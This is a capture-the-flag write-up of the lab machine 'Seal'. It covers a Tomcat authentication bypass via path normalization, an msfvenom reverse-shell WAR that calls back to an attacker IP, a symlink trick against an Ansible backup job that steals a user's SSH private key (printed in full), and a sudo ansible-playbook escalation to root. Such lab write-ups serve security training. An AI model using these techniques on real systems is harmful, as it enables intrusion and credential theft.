Home Seal writeup
Post
Cancel
Preview Image

Seal writeup

Summary

This box focused on bypassing authentication on a tomcat application, as well as git enumeration. We then pivot from the tomcat user after having successfully uploaded a malicious .war file via an ansible-playbook which copies symlinks. Root is achieved via a gtfobin.

Foothold

We start out by doing an nmap port scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Nmap scan report for 10.129.253.126
Host is up (0.067s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
8080/tcp open  http-proxy
---SNIP---
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
---SNIP---
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.05 seconds

Port 22, 443 and 8080 are open. If we check out the first web application hosted on port 8080 we are greeted with a GitBucket login page:

After creating a user we gain access to 2 repositories, seal_market and infra. Browsing the seal_market repo, we find the earliest commit which adds tomcat configuration. Taking a look at the seal_market / tomcat / tomcat-users.xml file we find credentials for the tomcat application:

While browsing we also find two new users, luis and alex. Doing a scan of the market application for tomcat specific endpoints we find the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(bitis㉿workstation)-[~/htb/Machines/Seal]
└─$ feroxbuster -u https://seal.htb:443 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/tomcat.txt -k

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ https://seal.htb:443
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/SecLists/Discovery/Web-Content/tomcat.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        7l       10w      162c https://seal.htb/manager/html
403      GET        7l       10w      162c https://seal.htb/manager/html/*
403      GET        7l       10w      162c https://seal.htb/host-manager/html/*
200      GET      518l     1140w    19737c https://seal.htb/
302      GET        0l        0w        0c https://seal.htb/host-manager => http://seal.htb/host-manager/
302      GET        0l        0w        0c https://seal.htb/manager => http://seal.htb/manager/
200      GET       84l      304w     4374c https://seal.htb/manager/status.xsd
401      GET       63l      291w     2499c https://seal.htb/manager/status/*
401      GET       63l      291w     2499c https://seal.htb/manager/jmxproxy
401      GET       63l      291w     2499c https://seal.htb/manager/jmxproxy/*
[####################] - 1s       182/182     0s      found:10      errors:0      
[####################] - 1s        91/91      76/s    https://seal.htb:443 
[####################] - 0s        91/91      100/s   https://seal.htb/ 

We know that the server is using both nginx and tomcat based on the files found in GitBucket. Usually this means the application might be vulnerable to path normalization. If we visit the url https://seal.htb/admin;test=test/dashboard we get access to the the admin dashboard.

We can also access the manager endpoint which allows us to upload .war files which we can use to obtain a reverse shell by uploading a malicious war file at the endpoint /shell, which when accessed will give us a reverse shell

1
2
3
4
5
┌──(bitis㉿workstation)-[~/htb/Machines/Seal]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.63 LPORT=4444 -f war -o shell.war
Payload size: 1097 bytes
Final size of war file: 1097 bytes
Saved as: shell.war

We can then upload it by using the url https://seal.htb/manager/test/..;/html/?upload= which again is used to bypass authentication system used. WE intercept the request in burp and mofify the endpoint:

When browsing to /shell we get a reverse shell:

1
2
3
4
5
6
┌──(bitis㉿workstation)-[~]
└─$ nc -lvnp 4444            
listening on [any] 4444 ...
connect to [10.10.14.63] from (UNKNOWN) [10.129.95.190] 43862
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)

Pivot

If we go to /opt/backups we find the following file:

1
2
3
4
5
6
7
8
9
10
11
12
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup--.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

This file copies everything in the /var/lib/tomcat9/webapps/ROOT/admin/dashboard directory with the argument copy_links=yes. This argument means that files that symlinks point towards are copied, not the symlinks themselves.

1
2
3
4
5
6
7
8
cd /opt/backups/archives
ls -al
total 1784
drwxrwxr-x 2 luis luis   4096 Jul  4 17:32 .
drwxr-xr-x 4 luis luis   4096 Jul  4 17:32 ..
-rw-rw-r-- 1 luis luis 606047 Jul  4 17:30 backup-2022-07-04-17:30:32.gz
-rw-rw-r-- 1 luis luis 606047 Jul  4 17:31 backup-2022-07-04-17:31:32.gz
-rw-rw-r-- 1 luis luis 606047 Jul  4 17:32 backup-2022-07-04-17:32:32.gz

It seems like the luis user is running the playbook every minute. We can add a symlink to the /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads directory.

1
2
3
4
5
6
7
8
9
10
11
cd /var/lib/tomcat9/webapps/ROOT/admin/dashboard
ln -s /home/luis/.ssh/id_rsa uploads/keys
cd /opt/backups/archives
ls -al  
total 1788
drwxrwxr-x 2 luis luis   4096 Jul  4 17:37 .
drwxr-xr-x 4 luis luis   4096 Jul  4 17:37 ..
-rw-rw-r-- 1 luis luis 606047 Jul  4 17:35 backup-2022-07-04-17:35:33.gz
-rw-rw-r-- 1 luis luis 606047 Jul  4 17:36 backup-2022-07-04-17:36:32.gz
-rw-rw-r-- 1 luis luis 608922 Jul  4 17:37 backup-2022-07-04-17:37:32.gz
cp backup-2022-07-04-17:37:32.gz /tmp

We can then unzip the archive and read the ssh key of the luis user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
-----BEGIN OPENSSH PRIVATE KEY-----
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
u8KqOiDVrwmFJRAAAACWx1aXNAc2VhbAE=
-----END OPENSSH PRIVATE KEY-----

Privilege escalation

Once logged in as luis we run sudo -l:

1
2
3
4
5
6
7
8
luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *
luis@seal:~$ 

On gtfobins we find a straightforward way to exploit our sudo rights to the ansible-playbook binary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
luis@seal:~$ TF=$(mktemp)
luis@seal:~$ echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
luis@seal:~$ sudo /usr/bin/ansible-playbook $TF
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'

PLAY [localhost] ***************************************************************************************************************************************************************************************************************************

TASK [Gathering Facts] *********************************************************************************************************************************************************************************************************************
ok: [localhost]

TASK [shell] *******************************************************************************************************************************************************************************************************************************
# id
uid=0(root) gid=0(root) groups=0(root)
# 

Rooted!

This post is licensed under CC BY 4.0 by the author.